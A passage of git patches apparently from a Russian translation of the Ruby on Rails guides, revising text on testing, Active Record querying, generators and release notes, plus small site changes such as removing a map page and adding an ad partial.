или имя метода символом для вызова. ### Тестовые хелперы @@ -780,12 +772,11 @@ require 'test_helper' class ProfileControllerTest < ActionController::TestCase test "should show profile" do - # helper is now reusable from any controller test case + # теперь хелпер может быть переиспользован в любом тесте контроллера sign_in users(:david) get :show assert_response :success - assert_equal users(:david), assigns(:user) end end ``` @@ -793,7 +784,7 @@ end Тестирование маршрутов ---------------------- -Как и все иное в вашем приложении Rails, рекомендуется тестировать ваши маршруты. Ниже пример тестов для маршрутов к экшнам `show` и `create` контроллера `Articles`: +Как и все другое в вашем приложении Rails, ваши маршруты рекомендуется тестировать. Ниже пример тестов для маршрутов к экшенам `show` и `create` контроллера `Articles`: ```ruby class ArticleRoutesTest < ActionController::TestCase @@ -810,7 +801,7 @@ end Этот файл добавлен тут `test/controllers/articles_routes_test.rb`, и если его запустить, мы увидим: ```bash -$ bin/rake test test/controllers/articles_routes_test.rb +$ bin/rails test test/controllers/articles_routes_test.rb # Running: @@ -826,15 +817,15 @@ Finished in 0.069381s, 28.8263 runs/s, 86.4790 assertions/s. Тестирование вьюх ----------------- -Тестирование отклика на ваш запрос с помощью подтверждения наличия ключевых элементов HTML и их содержимого, это хороший способ протестировать вьюхи вашего приложения. Метод `assert_select` позволяет осуществить выборку элементов HTML отклика с помощью простого, но мощного синтаксиса. +Тестирование отклика на ваш запрос с помощью подтверждения наличия ключевых элементов HTML и их содержимого, это хороший способ протестировать вьюхи вашего приложения. Как и тесты маршрутов, тесты вьюх находятся в `test/controllers/` или являются частью тестов контроллера. Метод `assert_select` позволяет осуществить выборку элементов HTML отклика с помощью простого, но мощного синтаксиса. Имеется две формы `assert_select`: -`assert_select(selector, [equality], [message])` обеспечивает, что условие equality выполняется для выбранных через selector элементах. selector может быть выражением селектора CSS (String) или выражением с заменяемыми значениями. +`assert_select(selector, [equality], [message])` обеспечивает, что условие equality выполняется для выбранных через selector элементов, selector может быть выражением селектора CSS (String) или выражением с заменяемыми значениями. `assert_select(element, selector, [equality], [message])` обеспечивает, что условие equality выполняется для всех элементов, выбранных через selector начиная с _element_ (экземпляра `Nokogiri::XML::Node` или `Nokogiri::XML::NodeSet`) и его потомков. -Например, можете проверить содержимое в элементе title Вашего отклика с помощью: +Например, можете проверить содержимое в элементе `title` вашего ответа с помощью: ```ruby assert_select 'title', "Welcome to Rails Testing Guide" @@ -866,13 +857,13 @@ assert_select "ol" do end ``` -Этот оператор контроля достаточно мощный. Для более продвинутого использования обратитесь к его [документации](http://www.rubydoc.info/github/rails/rails-dom-testing). +Это утверждение достаточно мощное. Для более продвинутого использования обратитесь к его [документации](http://www.rubydoc.info/github/rails/rails-dom-testing). -#### Дополнительные операторы контроля, основанные на вьюхе +#### Дополнительные утверждения, основанные на вьюхе -В тестировании вьюх в основном используется такие операторы контроля: +В тестировании вьюх в основном используется такие утверждения: -| Оператор контроля | Назначение | +| Утверждение | Назначение | | ---------------------------------------------------------- | ------------------------------------------------------- | | `assert_select_email` | Позволяет сделать утверждение относительно тела e-mail. | | `assert_select_encoded` | Позволяет сделать утверждение относительно закодированного HTML. Он делает это декодируя содержимое каждого элемента и затем вызывая блок со всеми декодированными элементами. | @@ -889,7 +880,7 @@ end Тестирование хелперов --------------------- -Чтобы протестировать хелперы, нужно проверить, что результатметода хелпера соответствует тому, что вы ожидаете. Тесты, относящиеся к хелперам, расположены в директории `test/helpers`. +Чтобы протестировать хелперы, нужно проверить, что результат метода хелпера соответствует тому, что вы ожидаете. Тесты, относящиеся к хелперам, расположены в директории `test/helpers`. Тест хелпера может выглядеть так: @@ -945,7 +936,7 @@ end В дополнение к стандартным хелперам тестирования, наследование от `ActionDispatch::IntegrationTest` дает несколько дополнительных хелперов для написания интеграционных тестов. Давайте для краткости представим три категории хелперов. -Для работы с runner интеграционны тестов, смотрите [`ActionDispatch::Integration::Runner`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html). +Для работы с runner'ом интеграционных тестов, смотрите [`ActionDispatch::Integration::Runner`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html). Для выполнения запросов у вас есть [`ActionDispatch::Integration::RequestHelpers`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html). @@ -968,7 +959,7 @@ $ bin/rails generate integration_test blog_flow create test/integration/blog_flow_test.rb ``` -Теперь откроем этот файл и напишем наш первый оператор контроля: +Теперь откроем этот файл и напишем наше первое утверждение: ```ruby require 'test_helper' @@ -981,7 +972,7 @@ class BlogFlowTest < ActionDispatch::IntegrationTest end ``` -Как помните из раздела "Testing Views", мы раскрыли `assert_select` для выборки результирующего HTML запроса. +Как помните из раздела "Тестирование вьюх", мы раскрыли `assert_select` для выборки результирующего HTML запроса. #### Создание интеграции статей @@ -991,21 +982,19 @@ end test "can create an article" do get "/articles/new" assert_response :success - assert_template "articles/new", partial: "articles/_form" post "/articles", params: { article: { title: "can create", body: "article successfully." } } assert_response :redirect follow_redirect! assert_response :success - assert_template "articles/show" assert_select "p", "Title:\n can create" end ``` -Давайте разобъем этот тест на кусаочки, чтобы понять его. +Давайте разобъем этот тест на кусочки, чтобы понять его. -Мы начинаем с вызова экшна `:new` контроллера Articles. Этот запрос должен быть успешным, и мы должны проверить, что был рендерен правильный шаблон, включающий партиал формы. +Мы начинаем с вызова экшна `:new` контроллера Articles. Этот запрос должен быть успешным. После этого мы делаем запрос post к экшну `:create` нашего контроллера Articles: @@ -1020,11 +1009,11 @@ follow_redirect! NOTE: Не забывайте вызвать `follow_redirect!` Если планируете сделать последовательные запросы после выполнения редиректа. -Наконец, мы убеждаемся, что нащ отклик был успешен, шаблон был рендерен, и нашу статью можно прочесть на странице. +Наконец, мы убеждаемся, что наш отклик был успешным, и нашу статью можно прочесть на странице. #### Идем дальше -У нас получилось протестировать маленький процесс посещения нашего блога и создания новой статьи. Если мы хотим идти дальше, мы можем добавить тесты для комментирования, удаления статей и редактирования комментариев. Интеграционные тесты — это отличное место для эксперементов с различными сценариями использования приложения. +У нас получилось протестировать маленький процесс посещения нашего блога и создания новой статьи. Если мы хотим идти дальше, мы можем добавить тесты для комментирования, удаления статей и редактирования комментариев. Интеграционные тесты — это отличное место для экспериментов с различными сценариями использования приложения. (testing-your-mailers) Тестирование почтовых рассыльщиков ---------------------------------------------------------- @@ -1038,7 +1027,7 @@ NOTE: Не забывайте вызвать `follow_redirect!` Если пла Тестировать классы рассыльщика нужно, чтобы быть уверенным в том, что: * электронные письма обрабатываются (создаются и отсылаются) -* содержимое email правильное (тема, получатель, тело и т.д.) +* содержимое письма правильное (тема, получатель, тело и т.д.) * правильные письма отправляются в нужный момент #### Со всех сторон @@ -1057,20 +1046,20 @@ NOTE: Не забывайте вызвать `follow_redirect!` Если пла #### Простой тестовый случай -Вот юнит-тест для тестирования рассыльщика с именем `UserMailer`, экшн `invite` которого используется для рассылки приглашений друзьям. Это адаптированная версия исходного теста, созданного генераторм для экшна `invite`. +Вот юнит-тест для тестирования рассыльщика с именем `UserMailer`, экшен `invite` которого используется для рассылки приглашений друзьям. Это адаптированная версия исходного теста, созданного генератором для экшена `invite`. ```ruby require 'test_helper' class UserMailerTest < ActionMailer::TestCase test "invite" do - # Send the email, then test that it got queued + # Отправить письмо, затем проверить, что оно попало в очередь assert_emails 1 do email = UserMailer.create_invite('me@example.com', 'friend@example.com', Time.now).deliver_now end - # Test the body of the sent email contains what we expect it to + # Проверить тело отправленного письма, что оно содержит то, что мы ожидаем assert_equal ['me@example.com'], email.from assert_equal ['friend@example.com'], email.to assert_equal 'You have been invited by me@example.com', email.subject @@ -1079,7 +1068,7 @@ class UserMailerTest < ActionMailer::TestCase end ``` -В тесте мы посылаем письмо и сохраняем возвращенный объект в переменной `email`. Затем мы убеждаемся, что оно было послано (первый оператор контроля), затем, вот второй порции операторов контроля, мы убеждаемся, что email содержит в точности то, что мы ожидаем. Хелпер `read_fixture` используется для считывания содержимого из этого файла. +В тесте мы посылаем письмо и сохраняем возвращенный объект в переменной `email`. Затем мы убеждаемся, что оно было послано (первое утверждение), затем, вот второй порции утверждений, мы убеждаемся, что `email` содержит в точности то, что мы ожидаем. Хелпер `read_fixture` используется для считывания содержимого из этого файла. Вот содержимое фикстуры `invite`: @@ -1091,20 +1080,20 @@ You have been invited. Cheers! ``` -Сейчас самое время понять немного больше о написании тестов для ваших рассыльщиков. Строка `ActionMailer::Base.delivery_method = :test` в `config/environments/test.rb` устанавливает метод доставки в тестовом режиме, таким образом, email не будет фактически доставлен (полезно во избежание спама для ваших пользователей во время тестирования), но вместо этого он будет присоединен к массиву (`ActionMailer::Base.deliveries`). +Сейчас самое время понять немного больше о написании тестов для ваших рассыльщиков. Строка `ActionMailer::Base.delivery_method = :test` в `config/environments/test.rb` устанавливает метод доставки в тестовом режиме, таким образом, письмо не будет фактически доставлено (полезно во избежание спама для ваших пользователей во время тестирования), но вместо этого оно будет присоединено к массиву (`ActionMailer::Base.deliveries`). -NOTE: Массив `ActionMailer::Base.deliveries` перегружается автоматически только в тестах `ActionMailer::TestCase`. Если хотите чистый массив вне тестов Action Mailer, его можно перегрузить вручную с помощью `ActionMailer::Base.deliveries.clear` +NOTE: Массив `ActionMailer::Base.deliveries` перезагружается автоматически только в тестах `ActionMailer::TestCase`. Если хотите чистый массив вне тестов Action Mailer, его можно перезагрузить вручную с помощью `ActionMailer::Base.deliveries.clear` ### Функциональное тестирование -Функциональное тестирование рассыльщиков предполагает не только проверку того, что тело email, получатели и так далее корректны. В функциональных тестах писем мы вызываем методы доставки почты и проверяем, что надлежащие электронные письма присоединяются в перечень доставки. Это позволяет с большой долей уверенности предположить, что методы доставки работают. Возможно, вам будет более интересным, отправляет ли ваша бизнес логика электронные письма тогда, когда это от нее ожидается. Например, можете проверить, что операция по приглашению друзей надлежаще рассылает письма: +Функциональное тестирование рассыльщиков предполагает не только проверку того, что тело письма, получатели и так далее корректны. В функциональных тестах писем мы вызываем методы доставки почты и проверяем, что надлежащие электронные письма присоединяются в перечень доставки. Это позволяет с большой долей уверенности предположить, что методы доставки работают. Возможно, вам будет более интересным, отправляет ли ваша бизнес логика электронные письма тогда, когда это от нее ожидается. Например, можете проверить, что операция по приглашению друзей надлежаще рассылает письма: ```ruby require 'test_helper' class UserControllerTest < ActionController::TestCase test "invite friend" do - assert_difference 'ActionMailer::Base.deliveries.size', `1 do + assert_difference 'ActionMailer::Base.deliveries.size', +1 do post :invite_friend, params: { email: 'friend@example.com' } end invite_email = ActionMailer::Base.deliveries.last @@ -1119,11 +1108,11 @@ end Тестирование задач ------------------ -Так как ваши задачи могут быть поставлены в очередь на различных уровнях приложения, вам нужно протестировать как сами задачи (их поведение при получении из очереди) и что эти элементы правильно кладут их в очередь. +Так как ваши задачи могут быть поставлены в очередь на различных уровнях приложения, вам нужно протестировать как сами задачи (их поведение при получении из очереди), так и то, и что другие элементы правильно кладут их в очередь. ### Простой тестовый случай -По умолчанию при генерации задачи, также будет генерирован связанный тест в директории `test/jobs`. Вот пример для задачи биллинга: +По умолчанию при генерации задачи, также будет сгенерирован связанный тест в директории `test/jobs`. Вот пример для задачи биллинга: ```ruby require 'test_helper' @@ -1140,16 +1129,15 @@ end По умолчанию `ActiveJob::TestCase` устанавливает адаптер очереди `:test`, чтобы ваши задачи выполнялись сразу. Это также позволяет убедиться, что все ранее выполненные и поставленные в очередь задачи будут очищены до запуска теста, таким образом гарантируется, что в рамках каждого теста нет ранее запущенных задач. -### Пользовательские операторы контроля и тестирование задач внутри других компонент +### Пользовательские утверждения и тестирование задач внутри других компонент -Active Job поставляется с набором пользовательских операторов контроля, которе могут быть использованы для уменьшения уровня детализации тестов. Полный список операторов контроля смотрите в документации API для [`ActiveJob::TestHelper`](http://api.rubyonrails.org/classes/ActiveJob/TestHelper.html). +Active Job поставляется с набором пользовательских утверждений, которые могут быть использованы для уменьшения уровня детализации тестов. Полный список утверждений смотрите в документации API для [`ActiveJob::TestHelper`](http://api.rubyonrails.org/classes/ActiveJob/TestHelper.html). -Хорошей практикой бывает убедиться, что ваши задачи были поставлены в очередь или выполнены, там, где вы их вызываете (например, внутри контроллера). Именно тут пользовательские операторы контроля, предоставленные Active Job, особенно полезны. Например, в модели: +Хорошей практикой бывает убедиться, что ваши задачи были поставлены в очередь или выполнены, там, где вы их вызываете (например, внутри контроллера). Именно тут пользовательские утверждения, предоставленные Active Job, особенно полезны. Например, в модели: ```ruby require 'test_helper' - class ProductTest < ActiveJob::TestCase test 'billing job scheduling' do assert_enqueued_with(job: BillingJob) do @@ -1162,12 +1150,12 @@ end Другие подходы к тестированию ----------------------------- -Тестирование, основанное на встренном `minitest`, не является единственным способом тестировать приложение на Rails. Разработчики на Rails прибегают к различным подходам и вспомогательным инструментам для тестирования, включающим: +Тестирование, основанное на встроенном `minitest`, не является единственным способом тестировать приложение на Rails. Разработчики на Rails прибегают к различным подходам и вспомогательным инструментам для тестирования, включающим: * [NullDB](http://avdi.org/projects/nulldb/), способ ускорить тестирование, избегая использование базы данных. * [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), замена для фикстур. * [Fixture Builder](https://github.com/rdy/fixture_builder), инструмент, компилирующий фабрики Ruby в фикстуры, перед запуском теста. * [MiniTest::Spec Rails](https://github.com/metaskills/minitest-spec-rails), используйте MiniTest::Spec DSL в ваших тестах rails. -* [Shoulda](http://www.thoughtbot.com/projects/shoulda), расширение для `test/unit` с дополнительными хелперами, макросами и операторами контроля. -* [RSpec](http://relishapp.com/rspec), фреймворк разработки, основанной на поведении -* [Capybara](http://jnicklas.github.com/capybara/), Фреймворк для приемочного тестирования веб-приложений +* [Shoulda](http://www.thoughtbot.com/projects/shoulda), расширение для `test/unit` с дополнительными хелперами, макросами и утверждениями. +* [RSpec](http://relishapp.com/rspec), фреймворк разработки, основанной на поведении. +* [Capybara](http://jnicklas.github.com/capybara/), Фреймворк для приемочного тестирования веб-приложений. From 15104d8f6902f55f52b0fb8b4f17d334ee59b779 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Sat, 15 Aug 2015 01:30:37 +0400 Subject: [PATCH 077/932] Update active record querying --- source/active_record_querying.md | 4 ++-- source/index.yml | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/source/active_record_querying.md b/source/active_record_querying.md index 249a58c7..f3c2a272 100644 --- a/source/active_record_querying.md +++ b/source/active_record_querying.md @@ -892,7 +892,7 @@ end Item.transaction do i = Item.lock.first i.name = 'Jones' - i.save + i.save! end ``` @@ -1746,7 +1746,7 @@ EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `articles` ON `articles`.` для MySQL. -Active Record применяет красивое форматирование, эмулирующее оболочку одной из баз данных. Таким образом, запуск того же запроса в адаптере PostgreSQL выдаст вместо этого +Active Record применяет красивое форматирование, эмулирующее оболочку соответствующей базы данных. Таким образом, запуск того же запроса в адаптере PostgreSQL выдаст вместо этого ``` EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "articles" ON "articles"."user_id" = "users"."id" WHERE "users"."id" = 1 diff --git a/source/index.yml b/source/index.yml index f9e08825..0624bc5b 100644 --- a/source/index.yml +++ b/source/index.yml @@ -51,8 +51,8 @@ pages: - title: Интерфейс запросов Active Record path: active-record-query-interface file: active_record_querying.md - revision: 8ac458ad2e252ba041d9f4e42b94bd5997a622be - date: 14/04/2015 + revision: e99d909928e4b919ace290c3ace3fbaceeba70da + date: 12/05/2015 - title: Основы Active Model path: active-model-basics From eccdbb81b931d39b302be47fe5ce888e6a507cb2 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Sat, 15 Aug 2015 01:33:49 +0400 Subject: [PATCH 078/932] Actualize --- source/index.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/source/index.yml b/source/index.yml index f9e08825..0973b155 100644 --- a/source/index.yml +++ b/source/index.yml @@ -93,8 +93,8 @@ pages: - title: Расширения ядра Active Support path: active-support-core-extensions file: active_support_core_extensions.md - revision: 8c1b99ced51cb03ac6fd9f72e45e9c40b054eff4 - date: 08/06/2015 + revision: 9876a16904f817e11713bc85479dd70da1de454b + date: 30/07/2015 - title: Инструметарий Active Support path: active-support-instrumentation From 1b25263037972bca1207544e2bb679d704986053 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 15 Aug 2015 10:23:13 +0300 Subject: [PATCH 079/932] remove wmm reference --- app/controllers/pages_controller.rb | 3 --- app/views/pages/map.html.haml | 11 ----------- config/routes.rb | 2 -- 3 files changed, 16 deletions(-) delete mode 100644 app/views/pages/map.html.haml diff --git a/app/controllers/pages_controller.rb b/app/controllers/pages_controller.rb index bde44da0..ce3bf586 100644 --- a/app/controllers/pages_controller.rb +++ b/app/controllers/pages_controller.rb @@ -1,5 +1,2 @@ class PagesController < ApplicationController - def map - end - end diff --git a/app/views/pages/map.html.haml b/app/views/pages/map.html.haml deleted file mode 100644 index 16ea09b6..00000000 --- a/app/views/pages/map.html.haml +++ /dev/null @@ -1,11 +0,0 @@ -%h1 Мы на карте! - -%script(src="http://wheremymates.com/teams/19.js" type="text/javascript") -#map_canvas(style='height: 500px;') - -.info - %p - Не нашел себя!? Нужно всего лишь перейти - = link_to 'по этой ссылке-инвайту', 'http://wheremymates.com/teams/8377e13212437a31e2f6/join', :target => :_blank - на наш новый сервис - = link_to "WhereMyMates.com!", "http://wheremymates.com/" diff --git a/config/routes.rb b/config/routes.rb index 27de8228..3893e33d 100644 --- a/config/routes.rb +++ b/config/routes.rb @@ -1,6 +1,4 @@ Rusrails::Application.routes.draw do - get 'map' => 'pages#map' - resource :search, only: :show, controller: :search mount StaticDocs::Engine, at: "/" From 86ab9479b6e838bef4a7db73f0a8dbf88261cbd0 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 15 Aug 2015 10:35:06 +0300 Subject: [PATCH 080/932] play with adsense --- app/views/layouts/application.html.haml | 2 +- app/views/shared/_adsense.html.erb | 10 ++++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) create mode 100644 app/views/shared/_adsense.html.erb diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml index 9293a942..615e16ec 100644 --- a/app/views/layouts/application.html.haml +++ b/app/views/layouts/application.html.haml @@ -46,7 +46,7 @@ - if content_for?(:menu) .well.menu= yield(:menu) .well - = render "shared/rsya", limit: 4 + = render "shared/adsense" .span9.content.pull-left= yield .row-fluid .span12#footer diff --git a/app/views/shared/_adsense.html.erb b/app/views/shared/_adsense.html.erb new file mode 100644 index 00000000..9db49174 --- /dev/null +++ b/app/views/shared/_adsense.html.erb @@ -0,0 +1,10 @@ + + + + From bea1d4561516d8beb5c39deb76854564da3325c5 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 15 Aug 2015 10:57:41 +0300 Subject: [PATCH 081/932] update generators guide --- source/generators.md | 87 +++++++++++++++++++++++--------------------- source/index.yml | 4 +- 2 files changed, 48 insertions(+), 43 deletions(-) diff --git a/source/generators.md b/source/generators.md index ba8b4c25..ae99ad52 100644 --- a/source/generators.md +++ b/source/generators.md @@ -8,6 +8,7 @@ * Как посмотреть, какие генераторы доступны в вашем приложении. * Как создать генератор с использованием шаблонов. * Как Rails ищет генераторы, чтобы вызвать их. +* Как Rails генерирует код Rails из шаблонов. * Как настроить скаффолд, создавая новые генераторы. * Как настроить скаффолд, изменяя шаблоны генератора. * Как использовать фолбэки, чтобы избежать переопределения большого набора генераторов. @@ -21,19 +22,19 @@ ```bash $ rails new myapp $ cd myapp -$ rails generate +$ bin/rails generate ``` Вы получите список всех генераторов, поставляющихся с Rails. Если необходимо подробное описание, к примеру, генератора helper, можно просто сделать так: ```bash -$ rails generate helper --help +$ bin/rails generate helper --help ``` Создание своего генератора -------------------------- -Начиная с Rails 3.0, генераторы создаются на основе [Thor](https://github.com/erikhuda/thor). Thor преставляет мощные опции парсинга и великолепный API для взаимодействия с файлами. Например, давайте создадим генератор, создающий файл инициализатора с именем `initializer.rb` внутри `config/initializers`. +Начиная с Rails 3.0, генераторы создаются на основе [Thor](https://github.com/erikhuda/thor). Thor преставляет мощные опции для парсинга и великолепный API для взаимодействия с файлами. Например, давайте создадим генератор, создающий файл инициализатора с именем `initializer.rb` внутри `config/initializers`. Первым шагом является создание файла `lib/generators/initializer_generator.rb` со следующим содержимым: @@ -52,13 +53,13 @@ NOTE: `create_file` - это метод, представленный `Thor::Act Чтобы вызвать наш новый генератор, нужно всего лишь выполнить: ```bash -$ rails generate initializer +$ bin/rails generate initializer ``` Перед тем, как продолжить, давайте посмотрим на описание нашего нового генератора: ```bash -$ rails generate initializer --help +$ bin/rails generate initializer --help ``` Rails обычно способен создавать хорошие описания, если генератор расположен в пространствах имен, таких как `ActiveRecord::Generators::ModelGenerator`, но не в этом частном случае. Эту проблему можно решить двумя способами. Первым является вызов `desc` внутри нашего генератора: @@ -80,7 +81,7 @@ end У самих генераторов есть генератор: ```bash -$ rails generate generator initializer +$ bin/rails generate generator initializer create lib/generators/initializer create lib/generators/initializer/initializer_generator.rb create lib/generators/initializer/USAGE @@ -100,7 +101,7 @@ end Это можно увидеть, если вызвать описание для генератора (не забудьте удалить файл старого генератора): ```bash -$ rails generate initializer --help +$ bin/rails generate initializer --help Usage: rails generate initializer NAME [options] ``` @@ -128,7 +129,7 @@ end И запустим наш генератор: ```bash -$ rails generate initializer core_extensions +$ bin/rails generate initializer core_extensions ``` Теперь мы видим, что инициализатор с именем core_extensions был создан в `config/initializers/core_extensions.rb` с содержимым нашего шаблона. Это означает, что `copy_file` копирует файл из корневой директории исходников в заданный путь назначения. Метод `file_name` автоматически создается, когда мы наследуем от `Rails::Generators::NamedBase`. @@ -167,7 +168,7 @@ end Так как мы настраиваем наш рабочий процесс, давайте сперва посмотрим, как выглядит наш скаффолд: ```bash -$ rails generate scaffold User name:string +$ bin/rails generate scaffold User name:string invoke active_record create db/migrate/20130924151154_create_users.rb create app/models/user.rb @@ -189,23 +190,21 @@ $ rails generate scaffold User name:string create test/controllers/users_controller_test.rb invoke helper create app/helpers/users_helper.rb - invoke test_unit - create test/helpers/users_helper_test.rb invoke jbuilder create app/views/users/index.json.jbuilder create app/views/users/show.json.jbuilder invoke assets invoke coffee - create app/assets/javascripts/users.js.coffee + create app/assets/javascripts/users.coffee invoke scss - create app/assets/stylesheets/users.css.scss + create app/assets/stylesheets/users.scss invoke scss - create app/assets/stylesheets/scaffolds.css.scss + create app/assets/stylesheets/scaffolds.scss ``` Глядя на этот вывод, легко понять, как работают генераторы в Rails 3.0 и выше. Генератор скаффолда фактически не генерирует ничего, он просто вызывает другие. Это позволяет нам добавить/заменить/убрать любые из этих вызовов. Например, генератор скаффолда вызывает генератор scaffold_controller, который вызывает генераторы erb, test_unit и helper. Поскольку у каждого генератора одна функция, их просто использовать повторно, избегая дублирования кода. -Нашей первой настройкой рабочего процесса будет прекращение генерации таблиц стилей, javascript и фикстур для тестов скаффолда. Этого можно достичь, изменив конфигурацию следующим образом: +Нашей первой настройкой рабочего процесса будет прекращение генерации таблиц стилей, JavaScript и фикстур для тестов скаффолда. Этого можно достичь, изменив конфигурацию следующим образом: ```ruby config.generators do |g| @@ -217,37 +216,22 @@ config.generators do |g| end ``` -Если мы создадим другой ресурс с помощью генератора скаффолда, мы увидим, что ни таблица стилей, ни javascript, ни фикстуры более не будут созданы. Если мы захотим настраивать его дальше, например использовать DataMapper и RSpec вместо Active Record и TestUnit, это достигается всего лишь добавлением соответствующих гемов в приложение и настройкой ваших генераторов. +Если мы создадим другой ресурс с помощью генератора скаффолда, мы увидим, что ни таблица стилей, ни JavaScript, ни фикстуры более не будут созданы. Если мы захотим настраивать его дальше, например использовать DataMapper и RSpec вместо Active Record и TestUnit, это достигается всего лишь добавлением соответствующих гемов в приложение и настройкой ваших генераторов. Для демонстрации мы собираемся создать новый генератор хелперов, который просто добавляет несколько методов-ридеров для переменных экземпляра. Сначала мы создадим генератор в пространстве имен rails, так как тут rails ищет генераторы, используемые как хуки: ```bash -$ rails generate generator rails/my_helper +$ bin/rails generate generator rails/my_helper create lib/generators/rails/my_helper create lib/generators/rails/my_helper/my_helper_generator.rb create lib/generators/rails/my_helper/USAGE create lib/generators/rails/my_helper/templates ``` -После этого можно удалить директорию `templates` и вызов метода класса `source_root` из нашего нового генератора, так как они нам не понадобятся. Добавив нижеследующий метод, наш новый генератор будет выглядеть так: - -```ruby -# lib/generators/rails/my_helper/my_helper_generator.rb -class Rails::MyHelperGenerator < Rails::Generators::NamedBase - def create_helper_file - create_file "app/helpers/#{file_name}_helper.rb", <<-FILE -module #{class_name}Helper - attr_reader :#{plural_name}, :#{plural_name.singularize} -end - FILE - end -end -``` - -Можно опробовать наш новый генератор, создав хелпер: +Можно опробовать наш новый генератор, создав хелпер для продуктов: ```bash -$ rails generate my_helper products +$ bin/rails generate my_helper products create app/helpers/products_helper.rb ``` @@ -275,10 +259,10 @@ end и увидев его в действии при вызове генератора: ```bash -$ rails generate scaffold Post body:text +$ bin/rails generate scaffold Article body:text [...] invoke my_helper - create app/helpers/posts_helper.rb + create app/helpers/articles_helper.rb ``` Можно отметить в выводе, что был вызван наш новый генератор хелпера вместо генератора Rails по умолчанию. Однако мы кое-что упустили, это тесты для нашего нового генератора, и чтобы их сделать, мы воспользуемся старыми генераторами теста для хеплперов. @@ -338,6 +322,21 @@ end Если создадите другой ресурс, то увидите абсолютно тот же результат! Это полезно, если хотите изменить шаблоны вашего скаффолда и/или макет, просто создав `edit.html.erb`, `index.html.erb` и так далее в `lib/templates/erb/scaffold`. +Шаблоны скаффолда в Rails часто используют теги ERB; эти теги необходимо экранировать, чтобы сгенерированный результат являлся валидным кодом ERB. + +Например, в шаблоне необходим следующий экранированный тег ERB (обратите внимание на дополнительный `%`)... + +```ruby +<%%= stylesheet_include_tag :application %> +``` + +...чтобы сгененрировать следующий результат: + +```ruby +<%= stylesheet_include_tag :application %> +``` + + Добавление фолбэков генераторов ------------------------------- @@ -361,7 +360,7 @@ end Теперь, если создать скаффолд Comment, вы увидите, что были вызваны генераторы shoulda, но в итоге они всего лишь переуступили генераторам TestUnit: ```bash -$ rails generate scaffold Comment body:text +$ bin/rails generate scaffold Comment body:text invoke active_record create db/migrate/20130924143118_create_comments.rb create app/models/comment.rb @@ -379,8 +378,6 @@ $ rails generate scaffold Comment body:text create app/views/comments/show.html.erb create app/views/comments/new.html.erb create app/views/comments/_form.html.erb - invoke shoulda - create test/controllers/comments_controller_test.rb invoke my_helper create app/helpers/comments_helper.rb invoke shoulda @@ -390,7 +387,7 @@ $ rails generate scaffold Comment body:text create app/views/comments/show.json.jbuilder invoke assets invoke coffee - create app/assets/javascripts/comments.js.coffee + create app/assets/javascripts/comments.coffee invoke scss ``` @@ -484,6 +481,14 @@ end add_source "http://gems.github.com/" ``` +Этот метод также принимает блок: + +```ruby +add_source "http://gems.github.com/" do + gem "rspec-rails" +end +``` + ### `inject_into_file` Встраивает блок кода в определенную позицию вашего файла. @@ -503,7 +508,7 @@ end gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code' ``` -Этот метод можно сделать более точным с помощью регулярных выражений. Таким же образом можно использовать append_file и prepend_file, чтобы поместить код в начало или конец файла соответственно. +Этот метод можно сделать более точным с помощью регулярных выражений. Таким же образом можно использовать `append_file` и `prepend_file`, чтобы поместить код в начало или конец файла соответственно. ### `application` diff --git a/source/index.yml b/source/index.yml index bf5816d1..19b022f1 100644 --- a/source/index.yml +++ b/source/index.yml @@ -201,8 +201,8 @@ pages: - title: Создание и настройка генераторов Rails path: generators file: generators.md - revision: c758093eca303704f52b45fd0660e13600b9b315 - date: 16/12/2013 + revision: e6be33f1ddafdb3e85b9809d0280439fc83559ae + date: 25/06/2015 - title: Вносим вклад в Ruby on Rails path: contributing_to_ruby_on_rails From b16c91a76146392f3d90eab0d3b0965db1a91909 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sat, 15 Aug 2015 13:33:26 +0300 Subject: [PATCH 082/932] update old versions release notes --- source/3_0_release_notes.md | 10 +++-- source/3_1_release_notes.md | 12 +++--- source/3_2_release_notes.md | 6 ++- source/4_0_release_notes.md | 67 ++++++++++++++++-------------- source/4_1_release_notes.md | 4 +- source/active_record_migrations.md | 6 +-- source/index.yml | 12 +++--- 7 files changed, 62 insertions(+), 55 deletions(-) diff --git a/source/3_0_release_notes.md b/source/3_0_release_notes.md index 6cbad833..a083eef1 100644 --- a/source/3_0_release_notes.md +++ b/source/3_0_release_notes.md @@ -17,6 +17,8 @@ Rails 3.0 это волшебство! Он приготовит вам ужин Эти заметки о релизе покрывают основные обновления, но не включают все мелкие багфиксы и изменения. Rails 3.0 содержит почти 4,000 комитов от более чем 250 авторов! Чтобы увидеть все, обратитесь к [списку комитов](http://github.com/rails/rails/commits/3-0-stable) в главном репозитории Rails на GitHub. +-------------------------------------------------------------------------------- + Чтобы установить Rails 3: ```bash @@ -83,7 +85,7 @@ $ cd myapp Сейчас Rails использует `Gemfile` в корне приложения, чтобы определить гемы, требуемые для запуска вашего приложения. Этот `Gemfile` обрабатывается [Bundler](http://github.com/carlhuda/bundler), который затем устанавливает все зависимости. Он может даже установить все зависимости локально в ваше приложение, и оно не будет зависеть от системных гемов. -Подробнее: - [домашняя страница bundler](http://gembundler.com) +Подробнее: - [домашняя страница bundler](http://bundler.io/) ### Живите на грани @@ -132,7 +134,7 @@ Railties был обновлен, чтобы предоставить совме [Arel](http://github.com/brynary/arel) (или Active Relation) был принят в качестве основы Active Record, и теперь требуется в Rails. Arel предоставляет абстракцию SQL, упрощающую Active Record и предоставляющую основы для функционала relation в Active Record. -Подробнее: - [Why I wrote 